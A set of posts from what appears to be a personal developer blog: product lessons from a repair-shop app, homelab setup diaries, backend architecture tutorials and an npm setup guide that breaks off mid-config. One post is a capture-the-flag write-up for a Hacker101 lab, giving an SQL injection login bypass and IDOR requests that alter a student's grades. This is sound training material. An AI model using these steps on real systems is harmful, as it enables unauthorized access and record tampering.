Este es uno de los tantos ejemplos donde destiné tiempo a investigación, análisis, desarrollo, puesta a producción, iteración, pruebas QA, solicitud de feedback, etc. Sin embargo, este a nivel solución, tenía un plus que los otros no.

Tallercito venía a solucionar un problema de mi familia, donde la gestión de los talleres es literalmente, un caos, teniendo WhatsApp como nucleo central, audios esparcidos por todos lados, capturas de pantallas, pdfs de transferencias, charlas con proveedores por repuestos por un lado, con los clientes por el otro, donde en el 99% de los casos, también convive la vida personal, con el WhatsApp laboral.

Y si bien, un bot de WhatsApp quizás hubiese sido la mejor solución, todos en IT saben qué tan desgastante puede ser tener los permisos suficientes para si quiera pensar en esto de forma seria, al menos, en free-tier mode.

Teniendo esto en mente, opté por utilizar Next + TursoDB + Tailwinds, con Stitch Design como nexo entre la idea, al diseño que quería plasmar. Y si bien el repositorio cuenta con algunas virtudes de control de calidad, como testing unitarios, de integración, dependabot, husky, y un largo etc.

Todo eso, no sirve de nada, si el producto NO TIENE USUARIOS.

Si un producto es extensible, escalable, e incluso con una calidad envidiable, no sirve hasta que tiene usuarios reales, que lo utilizan en el día a día, porque es para ellos quienes al final resolvemos problemas. Todo lo demás, muchas veces es para seguir nuestros criterios propios de aceptación, que si bien, no está mal, a veces es tiempo y esfuerzo innecesario. Y aquí fue donde estuvo mi error.

Tuve feedback de usuarios reales, de hecho agunos excelentes donde me marcaron errores del flujo e incluso me solicitaron features. Entonces, ¿qué falló?

La cultura como centro del desastre

Haciendo un recap, tenía un producto desarrollado con estándares que cualquier equipo técnico respetaría: testing, pipelines, control de dependencias, buenas prácticas de frontend, iteración basada en feedback real.

Porque el problema nunca fue la falta de una solución.

El problema es que la solución ya existía, y funcionaba lo suficientemente bien como para no ser cuestionada.

WhatsApp no era el caos.
WhatsApp era el sistema.

Uno desordenado, sí. Difícil de auditar, también. Pero rápido, accesible, familiar. No requiere onboarding, no necesita explicaciones, no rompe ningún flujo. Vive en el bolsillo, está siempre abierto, y mezcla lo personal con lo laboral de una forma que, aunque desde IT suene incorrecta, en la práctica es extremadamente eficiente.

Y ahí es donde aparece el verdadero error.

Construí algo mejor, pero no construí algo más fácil de adoptar.

Tallercito implicaba cambiar hábitos. Implicaba salir de un entorno conocido, aprender una nueva interfaz, confiar en otra herramienta, modificar la forma en la que se comunican con clientes y proveedores. Todo eso para resolver un problema que, desde su perspectiva, no era urgente. Era molesto, sí. Pero no crítico.

Y mientras algo funcione, cambiarlo tiene un costo.

Un costo que yo subestimé.

Hoy, Tallercito dejó de ser una “solución perfecta” en busca de usuarios, y pasó a ser una herramienta disponible, sin fricción.

Hoy se puede registrar y usar de forma gratuita acá.

No como el cierre del proyecto, sino como una forma más honesta de iterarlo.

Porque al final, no gana el mejor sistema.

Gana el que la gente realmente está dispuesta a usar.

La razón de existir de mi homelab siempre fue aprender, dejar de depender de servicios externos para cosas tan mundanas como alojar fotos, videos, o música. Aunque con la creciente ola de IA en la cual todos terminamos surfeando, no podía quedarme afuera, sin self-hostear algún modelo propio, incluso con el hardware limitado.

Pase un montón de horas, dandole vueltas a mis ideas, creando, eliminando, e incluso re-creando tanto VMs como LXCs en mi Proxmox, me sentía un poco abrumado, sin un plan definido, e incluso haciendo algunas cosas quasi a modo de prueba más que de impacto. El abanico de posibilidades es tan amplio que puede ser normal caer en la tentación, queriendo correr antes de caminar.

Hice una pausa.

Elimine un montón de cosas que probablemente no tarde en volver a instalar, otras las dejé pausadas, otras las configuré como parte del starter boot, etc. Comencé a poner orden, un LXC para Docker, otro para Ollama, comunicación entre sí para correr modelos self-hosted, nginxproxyreverse, y pi-hole. Necesitaba orden, una buena resolución de DNS, y filtrar todo lo que no me interesa ver en la red.

Pero había un problema.

Todo esto no servía de mucho si el tráfico no pasaba realmente por ahí, de una forma coherente y sensata. No tenía mucho sentido que sólo la mini-pc estuviese aplicando los filtros, denegaciones y demás configuraciones de pi-hole y nginx. Y es aquí donde entra un nuevo juguete a la acción, un MikroTik hAP ax².

Y aquí, fue dónde me convertí en meme.

(Preferi la screenshot de Windows así la historia era más dolorosa...)

Me quede unas cuatro a cinco veces fuera de mi propia red, e irónicamente, cuando pude resolverlo, tenía acceso a la red, pero no al homelab... "Redes".

Así que efectivamente, fui domado por redes, varias veces, por las cuales no descarto tampoco sean las últimas, las probabilidades siguen ahí.

Pero en fin, mientras escribo esto me contento con saber que al menos por ahora, tengo internet de la forma que quiero.

Este es el estado actual después de todo ese caos:

En algún punto de todo ese desorden, terminé armando algo que al menos tiene sentido cuando lo miro de afuera. El diagrama es eso. Internet entra, pasa por el MikroTik —que ahora es el que manda en la red— y antes de llegar a cualquier dispositivo, todo pasa por Pi-hole.

Y se escucha genial, como si supiera de qué hablo, o como si fuese una especie de genio. Nada más alejado de la realidad, de hecho cada vez que me siento a meter mano en el homelab, siento que sé menos, siento que las especialidades dejan de tener sentido, el conocimiento cross áreas premia, mientras que castiga el desconocimiento.

Ya no se trata solo de aprender sintaxis, lógica o teorías. Ni siquiera de desplegar cosas productivas o tener usuarios reales.

Se trata de entender un camino completo que muchas veces se ignora en desarrollo: donde se cruzan el hardware, los apagones de luz, las redes locales, la exposición a internet, y un montón de cosas más que todavía no termino de entender.

Pero con el tiempo, espero hacerlo.

Mientras tanto, me conformo con ver algunas métricas de cómo se comporta todo. Nada demasiado sofisticado, pero lo suficiente como para entender qué está pasando.

30 metros de cable de red tirados detrás del MikroTik y la mini-pc. Y un montón de ideas sobre la mesa que todavía tengo que ordenar.

Objetivo del reto: elevar las calificaciones de Natasha Drew en el portal de estudiantes OSUSEC para obtener la flag.

Contexto del objetivo

El challenge indica explícitamente que Natasha no tiene las notas necesarias y hay que ponerle todo en A.

Durante pruebas iniciales (XSS, payloads manuales y SQLMap) el servidor respondía con 401, por lo que la ruta efectiva fue observar flujo de sesión y navegación interna.

Paso 1: Bypass de autenticación

En Burp Suite (Intercept → Repeater), se probó login con payload clásico:

username=' OR 1=1 --&password=' OR 1=1 -- Tras este bypass, se obtuvo un Location que apuntaba a / y una cookie de sesión token.

Evidencia (momento de bypass y sesión de rhonda.daniels):

(Bypass de autenticación y acceso inicial)

Paso 2: Acceso al dashboard con cookie válida

Paso 2: Acceso al dashboard con cookie válida Sin cookie, / respondía redirección a login:

Request:

GET / HTTP/2
Host: <ctf-host>

Response:

HTTP/2 302 Found
Location: login

Con cookie token, el mismo endpoint devolvía 200 OK y el panel de estudiantes:

Request:

GET / HTTP/2
Host: <ctf-host>
Cookie: token=<valor>

Al hacer follow redirection, nos encontramos con una sorpresita.

Nos dirigió a /./ en lugar de /

Simplemente modificamos la request a GET /, lo demás lo mantenemos tal cual.

Al final del HTML del dashboard se observa que la sesión no es de administrador:

<script>
  var staff = {
    admin: false,
    name: 'rhonda.daniels'
  }
</script>

Paso 3: Identificación del esquema de IDs

En la tabla se observan elementos como:

<td data-id="TmFuY2llX0JyZXR0" class="student-link">Brett, Nancie</td>

Primero, verificamos qué tipo de hash es data-id con hashes-identifier, el cual nos indica un base64.

TmFuY2llX0JyZXR0 decodifica a Nancie_Brett, así que el data-id es Base64 del patrón Nombre_Apellido.

Se construyó el ID objetivo:

Natasha_Drew → TmF0YXNoYV9EcmV3

Paso 4: Descubrir endpoint de actualización

No había <a href> en la celda (student-link), por lo que la navegación dependía de JavaScript.

En el script cliente (app.min.js) apareció la lógica:

window.location = '/update-' + objectName + '/' + this.dataset.id;

Con objectName = 'student', la ruta efectiva es: /update-student/<id_base64>

Esto lo encontré en source desde devtools:

Paso 5: Explotación IDOR

Se hizo POST al recurso de Natasha usando el ID Base64 generado:

POST /update-student/TmF0YXNoYV9EcmV3 HTTP/2
Host: <ctf-host>
Cookie: token=<valor>

La respuesta devolvió formulario editable de Natasha (aunque la sesión era de otro usuario), confirmando IDOR por falta de autorización por objeto.

En el HTML apareció además un campo necesario para actualizar:

<input type="hidden" name="student_hash" value="0cb3ed2d---------SECRET-------">

Paso 6: Subir calificaciones a A y obtener flag

Con ese student_hash, se envió el POST completo:

POST /update-student/TmF0YXNoYV9EcmV3 HTTP/2
Host: <ctf-host>
Cookie: token=<valor>
Content-Type: application/x-www-form-urlencoded
https://<host>.ctf.hacker101.com/update-student/TmF0YXNoYV9EcmV3
student_hash=[USER_HASH]&grade_english=A&grade_science=A&grade_maths=A

Awesome! Natasha has got top marks and can now attend Hacker Camp!!!!

FLAG^1c497de5———————SECRET———SECRET————SECRET———————$FLAG$

El objetivo

La idea del homelab comenzó a principios de 2025, cuando jd, un amigo de IT World me compartía sus avances, desde un mejor entendimiento en redes, hasta la expansión de conocimiento de hadware en diversos aspectos, disponibilidad, resiliencia, etc. Conceptos de los cuales hablábamos con frecuencia pensando en cloud, pero que ahora, teníamos que pensar en cómo resolver estos problemas a nivel físico.

Mientras transcurrían largas horas de estudios, debates, investigación, katas de leetcode o arquitectura, su homelab avanzaba, mientras el mío, por distintas cuestiones, quedó sólo como una idea para el futuro. Hasta, diciembre 2025, donde en las vísperas navideñas, después de mucho decidí hacerme un auto-regalo. Aquí sabrán mis más allegados, que, no suelo gastar plata “por que sí”, pero esta vez, dije, tengo que poner en práctica, enfrentarme a nuevos retos, y sobre todo, aprender nuevas cosas.

La serie, el blog

A lo largo de mi vida he escrito bastante, con respecto a algunos, bastante poco con respecto a otros, sin embargo, el mundo tecnológico poco a poco me ha estado consumiendo en algunas áreas que realmente disfrutaba, como esta. De hecho, hago mención a nuestro estimado Fulanosaurio, quien me diagnosticó de forma profesional mediante el soundpad de discord que estaba en estado: brainrot. Por lo cual, después del merecido castigo por ser un energúmeno que posteaba cosas realizadas por la IA, tomé la descabellada idea de, en este siglo 21, ir en contra la corriente, escribiendo por mi mismo.

El homelab

Como mencioné al principio, el objetivo no estaba claro, lo que sí estaba, y aún está claro, es seguir aprendiendo, y en ésta línea, tomé unas decisiones un poco ridículas, pero que en mi visión totalmente alterada de la realidad, me va a servir.

1. La compra. Busqué en distintos países, distintos envíos, etc, para al final, terminar comprando de forma local por los excesivos impuestos de aduana por un aparato que con suerte, pesa 1kg. Quedando en mis manos a los días de tomar ardua decisión (5 min’), con una Dell 3040 Core I5 6ta 16gb 256gb Ssd Refurbished, por su puesto, refurbished. Si bien, podía tener ciertas limitantes, me gustaba bastante comparado a otras opciones donde por el mismos precio se compraba una batata con un hamster de CPU, al menos esta Dell parecía una versión honesta y humilde, para empezar.

2. Post-compra. Me puse a evaluar más opciones, mi interés inicialmente se centraba en domótica, pero, dadas las fechas, sumado a que en mi país no es tan fácil conseguir hardware específico, tuve que ir dándo vueltas a la idea inicial. La verdad, no demoré mucho en decidir, después de ser un gordo compu por tanto tiempo, me sentí iluminado. “Haré algo para jugar videojuegos de PS2 en el living”. Esto, implicaba algunos problemas de ubicación, nuevas conexiones de cable de red, además de configurar una VM específicamente para esto… Próximamente, problemas también, de rendimiento.

El homelab: Primeros pasos

El inicio fue simple, pero estaba más emocionado que un otaku cuando salió el último capítulo de One Piece (entiendo ese sentimiento). Tenía un pendrive viejo, Proxmox descargado, y Rufus haciendo magia. La instalación en la mini pc fue sencilla, de principio a fin. A partir de ahí, empezaron los “problemas”:

Nótese que escribí problemas con comillas, a propósito, no eran problemas persé, sino más bien desconocimiento como usuario. Entre los problemas que me topé fueron dos, tres:

1. No lograba conectarme al ip de mi máquina con Proxmox. Siempre, me tiraba conection refused. Hasta que noté, que esto estaba sucediéndome sólo en Chrome. Pero no era frustrante, era más bien, la chispa de la curiosidad, otra vez. Había que entender cuál era la diferencia entre navegadores contra el mismo IP:PORT. Googleando, encontré tanta información, que abrumaba. Y sí, googleando, like old school, porque incluso con prompts elaborados, la IA en free-tier, en vísperas navideñas parecía tener más ganas de hacer una ensalada de frutas, que responderme algo breve, concreto. Aunque aquí admito, la IA es excelente, pero también, es la culpable de mi diagnóstico a través del soundpad.

   

2. Cables, tengo un desorden inmenso de cables, los cuales les he dado varias vueltas al asunto sin llegar a un concenso conmigo mismo de qué hacer al respecto. El problema, no es en sí la distancia de los dispositivos hacia la toma de corriente, el problema, es que necesito poder variar los movimientos que estos tienen, es decir, a veces necesito una laptop con más prioridad que otra. La mini pc, puede estar en cualquier lado, es más, ni estará (recordar, que su lugar dedicado será el living de la casa, para jugar juegos Retros como un buen viejo).

   

3. RetroArch, algunos issues de performance, craches del Core de PS2, fueron algunos de los issues que llegaron en la primer VM que levantaba dentro de Proxmox junto a un Linux Mint Cinnamon Edition, sin embargo, estos craches desaparecieron con el Core de Nintendo 64 ParaLLEIN N64, por lo que nuevamente iluminado, me fui en búsqueda de algún que otro clásico para la prueba de fuego.

El homelab: Primer meta completada

En este punto, dándole la razón a Doctorsauriodon’t sobre mi diagnóstico, no tengo claro cómo darle un cierre a un post que escribo sin el uso de nuestras magníficas herramientas roba trabajos (IA), sin embargo, dudo humildemente si estas hubiesen podido ser igual de sarcásticas. Dicho esto, los siguientes pasos para el homelab son:

1. Mover la mini pc al living, sumarle dos joysticks para hacer un buen torneo de Mortal Kombat, Super Mario, o Crash… Lo importante aquí, es que la mini pc, quede lejos de mi cuartoficina, para facilitar la conexión por HDMI al tv en la sala compartida, mientras que dentro de la misma red, se irán cocinando otras cosas… Como dirán las nuevas generaciones: Dejálo cookear, leet him cook.

2. Un nuevo nodo, dedicado a iOT, domótica, automatización según lectura de sensores. Realmente, no tengo claro qué, posiblemente, sea algo relacionado al regado de plantas, porque en mi casa si bien, tenemos una cantidad exorbitante, así como para otros el riego es terapeútico, para mi es torturicidio.

3. Un nuevo nodo, enfocado en AppSec, posiblemente, relacionado a dispositivos de alarmas, cámaras de vigilencia, aquí, un poco la idea es comprar las cosas, para programarlas por mí mismo. No tiene mucho sentido comprar una cámara inteligente, el objetivo del homelab es que una cámara me pueda enviar datos a mi servidor. Yo decido qué hacer con dicha información.

Mención especial para nuestro amigo tilteado. Well, my work here is done.

Y ante las noticias de « qué palabra rara » la adquisición de nuevas plataformas de Streaming, me veo en la total obligación de despedirme, hasta nuevo aviso, citando a quien realmente, no necesito nombrar:

“Esto es todo amigos”.

Mi hermano tiene un taller de electricidad automotriz.
Mi tío, un taller mecánico.
Ambos con realidades distintas, pero con problemas sorprendentemente parecidos.

Ahí apareció la pregunta clave:
¿existe una solución simple que pueda servirle a ambos sin volverse un ERP gigante e imposible de usar?

Este fue el primer diseño provisional, que luego pasaría a tomar una forma más “coherente”.

Entendiendo el problema antes de escribir código

Antes de abrir el editor, hice algo que muchos salteamos: escuchar.

Me senté con ellos y les pregunté cómo trabajan:

• ¿Cómo registran un vehículo?

• ¿Qué información es indispensable?

• ¿Qué les hace perder más tiempo?

• ¿Dónde se equivocan más seguido?

• ¿Qué cosas sí o sí necesitan ver todos los días?

La respuesta fue clara:
no necesitan “mil módulos”, necesitan orden, seguimiento y claridad.

A partir de eso empecé a diseñar el flujo de Tallercito.

Un flujo simple, pensado para talleres reales

Tallercito se basa en un flujo muy concreto. Sin pasos innecesarios. Sin pantallas que nadie usa.

Funcionalidades que sí importan

Todo lo que fui agregando responde a un problema real que alguien ya tenía:

• Gestión de inventario y stock

• Control de márgenes reales (no “más o menos”)

• Órdenes con repuestos y mano de obra separados

• Seguimiento público para el cliente

• Reportes simples de rentabilidad

• Alertas de stock bajo

• Multiusuario con permisos

• WhatsApp automático para avisos

Nada está ahí “porque queda bien en la landing”.

Decisiones técnicas conscientes (y sin vergüenza)

Tallercito está hecho con Next.js + Google Sheets.

Sí, Google Sheets.

Y es totalmente intencional.

A nivel código, el sistema está preparado para:

• migrar a Postgres

• agregar autenticación completa

• escalar la arquitectura

Pero no veo sentido en hacer todo eso antes de validar la idea.

Primero quiero que:

• lo usen

• les sirva

• estén dispuestos a pagar por ello

Después, recién después, vendrá la infraestructura “enterprise”.

Optimizar antes de validar suele ser una forma elegante de perder tiempo.

QA real, feedback real

Algo que valoro mucho de este proceso es que no lo probé solo yo.

Amigos técnicos y no técnicos me ayudaron a testear:

• flujos

• textos

• pantallas

• cosas que “no se entienden”

• cosas que sobran

El feedback fue muy bueno y, sobre todo, muy honesto.
A todos ellos: gracias.

¿En qué está Tallercito hoy?

Tallercito es un producto funcional, simple y enfocado.
Apunta a talleres que quieren ordenarse sin pagar un ERP de USD 300 por mes ni vivir dentro de Excel.

El objetivo es claro:
menos tiempo gestionando, más tiempo trabajando.

But this time, the goal wasn’t just to launch something quickly. We wanted to truly learn—facing real challenges in architecture, automation, and scalability, as if we were building for production from day one.

We started from scratch. We met on Discord, opened up Excalidraw, and began designing how everything should work: user flows, server creation processes, resource management, potential failure points. Every technical decision raised new questions we had to solve.

Diagram versión 0.1.1

Initially, we thought about using Proxmox to manage the infrastructure. But as we dug deeper into the flexibility and automation we needed, we shifted toward using the Docker Client API. That decision pushed us to learn how to dynamically create containers, manage persistent storage, isolate networks, and ensure stability for each customer’s server.

Along the way, we organized our tasks with GitHub Issues and documented every important decision. Even though we know formal processes like RFCs and ADRs, we chose to move fast, iterating with every step and leaving space to learn from our mistakes.

Beyond the technical challenges, the project is also pushing us to grow as a team: discussing ideas, defending our approaches, giving ground, and improving together.

We’re convinced that the only real way to grow as engineers is by learning through building, facing real problems, and finding creative solutions.

Not building for the sake of building. Not learning because we have to. Learning for the sake of learning.

That’s what Mainhost is today. And that’s what makes every step worth it.

A few weeks ago, I started exploring a very specific problem: building a simple management tool for small auto repair shops. The inspiration was personal—my brother runs one, and I’ve seen how many operational tasks are still handled with pen and paper, WhatsApp messages, and a lot of back-and-forth with customers.

The goal was to build a lightweight web app that would allow:

• Admins (mechanics or shop owners) to register customers and their vehicles.

• Update the vehicle status (diagnosis, in repair, ready for pickup).

• Generate a final receipt with repair details.

• Let customers log in and view their vehicle’s status in real time—no need to call or text.

A simple, niche-focused tool with clear value for small workshops.

📊 Early Validation

The idea looked promising. I even sketched out the core user flows and technical sequences.

Flowchart

flowchart LR
    Start[Start] --> Login[Log in] --> RoleCheck{User Role?}
    RoleCheck -->|Admin| AdminDash[Admin Dashboard]
    RoleCheck -->|Customer| ClientDash[Customer Dashboard]

    AdminDash --> AddClient[Register Customer] --> AddVehicle[Add Vehicle] --> UpdateStatus[Update Status]
    UpdateStatus -->|Diagnosis| Status1[Diagnosis]
    UpdateStatus -->|Repair| Status2[In Repair]
    UpdateStatus -->|Completed| Status3[Ready for Pickup] --> Notify[Notify Customer] --> Receipt[Generate Receipt]

    ClientDash --> ViewMyCars[View My Vehicles] --> CurrentStatus[Check Status] --> ViewReceipt[View Receipt]

📉 Why I Discarded It

Although the idea solved a real (and personal) pain point, further research revealed:

• The market exists, but it's small and highly fragmented.

• There are already several solutions out there (CarPower, ServitechApp, WinMoto), although many are outdated or aimed at mid-sized businesses.

• Market growth is slow. There's interest, but not at a scale where a solo dev can launch a successful SaaS without major sales or distribution backing.

• Most importantly: I couldn’t find strong active demand. No one on forums, Reddit, or Google seemed to be urgently searching for this kind of solution.

And from there, the decision became obvious.

🗑️ What I Learned by Throwing It Out

1. Validating early saved me weeks (or months) of building.

2. Not every real problem is a scalable business opportunity.

3. Just because something would help one person doesn’t mean it’s sellable.

4. Killing an idea fast is still progress.

🧭 What’s Next?

Back to square one. Now I’m searching for a problem that:

• Has active search traffic and discussion online.

• Shows signs of people struggling to solve it already.

• Can be addressed with a small MVP and tested with real feedback.

The next idea won’t be perfect either—but at least it’ll be more informed.

Importante: Los conceptos se explicaran primero mediante una analogia con fin de que aquellas personas interesadas en la rama de desarrollo backend tengan un acercamiento totalmente amigable. Finalizando con una breve explicacion tecnica para que las mismas, se adecuen a un lenguaje mas formalizado.

Protocolo HTTP

Imagina que estás en un restaurante y quieres pedir algo de comida. Tú eres el cliente y el restaurante es el servidor web. Quieres hacer un pedido y recibir la comida en respuesta.

Cuando quieres hacer un pedido, levantas la mano y llamas la atención del mesero. Esto sería como enviar una solicitud HTTP al servidor web.

Luego, le dices al mesero lo que quieres comer. Puedes pedir una hamburguesa, una ensalada o cualquier otra cosa. Esta es tu solicitud específica al servidor web.

El mesero lleva tu pedido a la cocina y espera a que los chefs preparen la comida. La cocina es como el servidor web que procesa tu solicitud y obtiene la información o realiza la acción solicitada.

Finalmente, el mesero regresa con tu comida y te la entrega. Esto es como la respuesta del servidor web que envía la información solicitada de vuelta a tu dispositivo para que puedas verla en tu navegador.

En resumen, HTTP es como pedir comida en un restaurante. Haces una solicitud al servidor web (levantando la mano), le dices lo que quieres (tu pedido) y el servidor procesa tu solicitud y te envía la respuesta (la comida) de vuelta.

Siendo un poco mas técnicos, podemos decir que el protocolo HTTP es un conjunto de reglas que define cómo los dispositivos de la web se comunican entre sí. Permite que los clientes (como los navegadores web) soliciten recursos y que los servidores web les respondan con la información solicitada. Ademas, este protocolo (o Protocolo de Transferencia de Hipertexto en español) es parte de un conjunto de cosas que hace posible que se pueda navegar en internet.

Continuando con la analogia del restaurante, los métodos HTTP serían como las diferentes formas en las que puedes interactuar con el personal del lugar para solicitar lo que necesitas. Cada método correspondería a una acción específica. Por ejemplo, podrías usar un método para pedir un plato nuevo (agregar información), otro método para solicitar la cuenta (obtener información), o incluso un método para hacer una reserva en el restaurante (realizar una acción). De esta manera, los métodos HTTP son como las opciones que tienes para comunicarte y realizar acciones en el mundo digital de la web, al igual que en un restaurante interactúas con el personal utilizando diferentes enfoques según tus necesidades.

Arquitectura de Software (Layered vs Modular)

Imaginemos que estás diseñando un restaurante y te encuentras frente a dos opciones para organizar su estructura: la arquitectura en capas y la arquitectura modular.

La arquitectura en capas sería como dividir el restaurante en diferentes áreas bien definidas, como la cocina, el comedor y el área de servicio. Cada área tiene funciones específicas y se encarga de tareas particulares. Por ejemplo, en la cocina se preparan los alimentos, en el comedor se atiende a los clientes y en el área de servicio se realizan labores de limpieza y mantenimiento. Esta división en capas permite una clara separación de responsabilidades y facilita la gestión de cada área de forma individual.

Por otro lado, la arquitectura modular sería como diseñar el restaurante con módulos independientes y reutilizables. Cada módulo puede ser una sección del restaurante, como un bar, un salón privado o una terraza. Estos módulos se pueden combinar y adaptar de manera flexible según las necesidades del restaurante. Por ejemplo, puedes agregar o quitar salones privados según la demanda o cambiar la ubicación del bar sin afectar el resto del restaurante. La arquitectura modular permite una mayor flexibilidad y adaptabilidad en el diseño del restaurante.

En resumen, al igual que en la arquitectura de software, en el diseño de un restaurante puedes optar por una estructura en capas para una separación clara de funciones o por una estructura modular para una mayor flexibilidad y adaptabilidad. La elección depende de los objetivos y necesidades específicas del restaurante que estés creando.

Este mapa conceptual, es aplicable a ambas arquitecturas

Layered Architecture (4)

src
│   index.ts        # App entry point
└───controllers     # route controllers for all the endpoints of the app
└───config          # Environment variables and configuration related stuff
└───models          # Database models
└───repositories    # Custom queries to database
└───services        # All the business logic is here
└───routes          # Express.js entry points to controllers

Modular Architecture

src
│   index.ts        # App entry point
└── config      
└── products 
        └── controller
        └── service
        └── model
        └── repository
        └── route

Ver el articulo de Stairway to Heaven: Saliendo de Folder Hell.

Continuando con nuestra analogia del restaurante, imaginemos que debemos crear una solucion para mejorar un proceso que hasta el momento se registraba de forma manual a papel, sustituyendolo por un sistema efectivo. Para comenzar, partiremos desarrollando una accion basica que se vive diariamente en el local: El pedido del cliente. Tambien, lo registraremos como plus.

Esto es a modo de ejemplo, para un proyecto real, se debe ser mas cuidadoso.

Para comenzar, tenemos dos opciones: codear desde el momento cero, o aun mejor, partir desde un diagrama que nos servira para sentar las bases de como sera la logica de negocios posteriormente en nuestro codigo.

Diagrama de flujo

Tener un diagrama de flujo, nos permite visualizar como se comportara nuestro restaurante ante dos situaciones, registrar un cliente en nuestra base de datos, o en el momento que dicho cliente solicita un plato. A simple vista, estamos viendo dos "cosas" notablemente distintas: un cliente, un plato. Y una tercera que no esta tan a la vista, pero es la razon para que las dos anteriores sean posibles, el restaurante.

A estas cosas, se les conoce como Entidad, las cuales son utilizadas para modelar y representar estos elementos del mundo real en el código. Por ejemplo, si estás desarrollando una aplicación de gestión de usuarios, podrías tener una entidad llamada "Usuario" que contendría atributos como nombre, dirección de correo electrónico, contraseña, etc.

Diagrama entidad relación

Una vez se definen las entidades de nuestro negocio, se pasa a crear un diagrama de entidad relación. Este, permitira conocer como se relaciona una entidad con otras.

     +---------------------+        +------------------+
     |     Restaurante     |        |      Cliente     |
     +---------------------+        +------------------+
     |      restaurante_id |<------o|    cliente_id    |
     |        nombre       |        |      nombre      |
     |      direccion      |        |     direccion    |
     +---------------------+        +------------------+
                 |                            |
                 |                            |
                 |                            |
          +------+------+                     
          |    Platos   |
          +-------------+
          |   plato_id  |
          |   nombre    |
          |   precio    |
          +-------------+
                 |
                 |
          +------+------+
          |   Pedido    |
          +-------------+
          |  pedido_id  |
          |  cliente_id |
          |  plato_id   |
          +-------------+

En un principio, si observamos nuestro diagrama de flujo, no vemos la entidad "pedido" sin embargo, es comun crear una tabla extra, para poder relacionar una entidad con otra en caso de no existir relacion directa. En este caso, un cliente realiza un pedido, en el pedido puede tener x plato.

Una entidad, a nivel base de datos, se representa en una tabla.

Por ultimo, recordar que dichas entidades jamas se exponen directamente a la capa de presentación, en su lugar, de cara al cliente se utiliza un objeto de transferencia de datos... Lo que permite cierta flexibilidad, entre otras bondades.

Data Transfer Object

Imaginemos que estás en un restaurante como cliente y deseas realizar un pedido para llevar. Te comunicas con el personal del restaurante y les das los detalles de tu pedido, como los platos y las cantidades requeridas. Ahora, el personal necesita transmitir esa información al equipo de cocina de una manera clara y estructurada para que puedan preparar tu pedido correctamente.

Aquí es donde entra en juego el concepto de DTO (Data Transfer Object). Podemos considerar el DTO como una bandeja o bandeja de pedidos que recopila y transporta la información necesaria desde el cliente hasta el equipo de cocina del restaurante. En este caso, el DTO sería una representación estructurada y simplificada de tu pedido, que contiene los detalles necesarios como los nombres de los platos y las cantidades requeridas.

El DTO actúa como un contenedor de datos que permite transferir información de forma eficiente y coherente entre diferentes componentes o capas de la aplicación, como la capa de presentación y la capa de servicios. En lugar de enviar todos los detalles del objeto original, se utiliza un DTO para transmitir solo la información necesaria y relevante para una operación específica.

En resumen, un DTO en el contexto de un restaurante sería como una bandeja o bandeja de pedidos que contiene una representación estructurada y simplificada de la información necesaria para transmitir un pedido desde el cliente al equipo de cocina. Del mismo modo, en el desarrollo de software, un DTO es un contenedor de datos utilizado para transferir información de forma eficiente entre diferentes componentes o capas de una aplicación.

En el proximo articulo, se aplicaran todos estos conceptos de forma practica en SpringBoot, creandolo desde 0 con Sprint Initializr con las dependencias necesarias, instalacion de dependencias extras como ModelMapper para facilitar el uso de DTO's, asi como la configuracion correcta de nuestra base de datos mediante un archivo de extension YML, testeando nuestra implementacion con MySQL Workbench, Postman, y haciendo uso de scripts SQL para cargar datos.

Despedida

Espero se hayan entretenido, les guste y estén esperando el próximo.

Requisitos

• Cuenta en github

• Cuenta en npm

• Node v18.12.0 o superior

Lo primero que vamos a realizar, es dicha libreria, que no es mas que un proyecto de Node el cual posteriormente se subira al gestor de paquetes anteriormente mencionado (npm).

Comenzando a codear

Creamos un proyecto de Node ejecutando npm init -y en la carpeta que desees (si es una carpeta vacia, mejor), y pasamos a definir nuestra estructura de archivos y carpetas.

-📁src - index.ts
       - 📁 interfaces
       - 📁 messages
- .eslintrc.json
- .gitignore
- .prettierrc
- nodemon.json
- package-lock.json
- package.json
- tsconfig.json

En este punto, solo tendremos un codigo en los archivos de package que se han generado automaticamente al ejecutar el comando anterior.

Instalacion de depencencias

Para instalar todas las dependencias necesarias, ejecute los siguiendes comandos.

npm install ts-node
npm install --save-dev rimraf
npm install --save-dev nodemon
npm install --save-dev typescript
npm install --save-dev @types/node

Configuraciones

En esta seccion nos centraremos principalmente en las configuraciones necesarias del proyecto para que trabaje con types de Typescript de forma correcta. Y ademas, podamos hacer cambio sin necesidad de reiniciar la aplicación.

En nuestro package.json

{
  "main": "build/index.js",
  "scripts": {
    "build": "rimraf ./build && tsc",
    "dev": "nodemon",
    "start": "npm run build && node build/index.js"
  },
}

En nuestro tsconfig.json

{
  "compilerOptions": {
    "skipLibCheck": true,
    "target": "es6",
    "module": "commonjs",
    "moduleResolution": "node",
    "allowJs": true,
    "resolveJsonModule": true,
    "esModuleInterop": true,
    "outDir": "./build",
    "rootDir": "src",
    "types": ["node"]
  },
  "include": ["src/**/*"],
  "exclude": ["node_modules"],
}

En nuestro nodemon.json

{
    "watch": [
        "src"
    ],
    "ext": ".ts,.js",
    "ignore": [],
    "exec": "ts-node --files ./src/index.ts"
}

En nuestro .eslintrc.json

{
    "extends": [
        "eslint:recommended",
        "plugin:@typescript-eslint/recommended",
        "prettier"
    ],
    "parser": "@typescript-eslint/parser",
    "plugins": [
        "@typescript-eslint",
        "prettier"
    ],
    "env": {
        "node": true,
        "es2021": true
    },
    "parserOptions": {
        "ecmaVersion": 2021,
        "sourceType": "module"
    },
    "rules": {
        "arrow-spacing": [
            "warn",
            {
                "before": true,
                "after": true
            }
        ],
        "comma-dangle": [
            "error",
            "always-multiline"
        ],
        "comma-spacing": "error",
        "comma-style": "error",
        "dot-location": [
            "error",
            "property"
        ],
        "handle-callback-err": "off",
        "indent": [
            "off",
            "tab"
        ],
        "keyword-spacing": "error",
        "max-nested-callbacks": [
            "error",
            {
                "max": 4
            }
        ],
        "max-statements-per-line": [
            "error",
            {
                "max": 2
            }
        ],
        "no-console": "off",
        "no-empty-function": "error",
        "no-floating-decimal": "error",
        "no-inline-comments": "error",
        "no-lonely-if": "error",
        "no-multi-spaces": "error",
        "no-multiple-empty-lines": [
            "error",
            {
                "max": 2,
                "maxEOF": 1,
                "maxBOF": 0
            }
        ],
        "no-shadow": [
            "error",
            {
                "allow": [
                    "err",
                    "resolve",
                    "reject"
                ]
            }
        ],
        "no-trailing-spaces": [
            "error"
        ],
        "no-var": "error",
        "object-curly-spacing": [
            "error",
            "always"
        ],
        "prefer-const": "error",
        "semi": [
            "error",
            "always"
        ],
